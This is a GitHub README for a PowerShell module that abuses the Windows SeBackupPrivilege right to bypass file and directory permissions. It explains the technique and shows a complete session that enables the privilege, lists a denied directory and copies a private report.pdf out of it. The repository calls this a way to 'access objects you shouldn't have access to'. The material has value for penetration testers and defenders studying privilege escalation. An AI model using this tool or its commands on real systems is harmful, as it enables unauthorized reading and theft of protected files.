Skip to content


Switch branches/tags

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?

Latest commit


Git stats


Failed to load latest commit information.
Latest commit message
Commit time
July 29, 2013 22:11
July 29, 2013 22:11
July 29, 2013 22:11
July 29, 2013 22:31
July 29, 2013 22:11
July 29, 2013 22:31


On Windows, if a user has the "Back up files and directories" right, he gets assigned the SE_BACKUP_NAME/SeBackupPrivilege privilege. Such privilege is disabled by default but when switched on it allows the user to access directories/files that he doesn't own or doesn't have permission to. In MSDN's own words:

This user right determines which users can bypass file and directory, registry, and other persistent object permissions for the purposes of backing up the system.

In order to exploit SeBackupPrivilege you have to:

  • Enable the privilege.
    This alone lets you traverse (cd into) any1 directory, local or remote, and list (dir, Get-ChildItem) its contents.
  • If you want to read/copy data out of a "normally forbidden" folder, you have to act as a backup software. The shell copy command won't work; you'll need to open the source file manually using CreateFile making sure to specify the FILE_FLAG_BACKUP_SEMANTICS flag.

This library exposes three PowerShell CmdLets that do just that.

Example usage

PS C:\scripts> Import-Module .\SeBackupPrivilegeUtils.dll
PS C:\scripts> Import-Module .\SeBackupPrivilegeCmdLets.dll
PS C:\scripts> Get-SeBackupPrivilege # ...or whoami /priv | findstr Backup
SeBackupPrivilege is disabled
PS C:\scripts> dir E:\V_BASE
Get-ChildItem : Access to the path 'E:\V_BASE' is denied.
At line:1 char:4
+ dir <<<<  E:\V_BASE
    + CategoryInfo          : PermissionDenied: (E:\V_BASE:String) [Get-ChildItem], UnauthorizedAccessException
    + FullyQualifiedErrorId : DirUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand

PS C:\scripts> Set-SeBackupPrivilege
PS C:\scripts> Get-SeBackupPrivilege
SeBackupPrivilege is enabled
PS C:\scripts> dir E:\V_BASE # ...having enabled the privilege, this now works

    Directory: E:\V_BASE

Mode                LastWriteTime     Length Name
----                -------------     ------ ----
d----        18/07/2013     13:04            Private

PS C:\scripts> cd E:\V_BASE\Private
PS E:\V_BASE\Private> dir

    Directory: E:\V_BASE\Private

Mode                LastWriteTime     Length Name
----                -------------     ------ ----
-----        05/07/2013     12:29     306435 report.pdf

PS E:\V_BASE\Private> Copy-FileSeBackupPrivilege .\report.pdf c:\temp\x.pdf -Overwrite
Copied 306435 bytes

PS E:\V_BASE\Private>


The following dlls are compiled for x64, .NET Framework 2.0 . If they don't match your environment, you'll have to build your own; just import the project into SharpDevelop and you should be good to go.

These resources have been extremely helpful when putting this stuff together:

[1] Explicit denies should still block you, though...


Use SE_BACKUP_NAME/SeBackupPrivilege to access objects you shouldn't have access to






No releases published


No packages published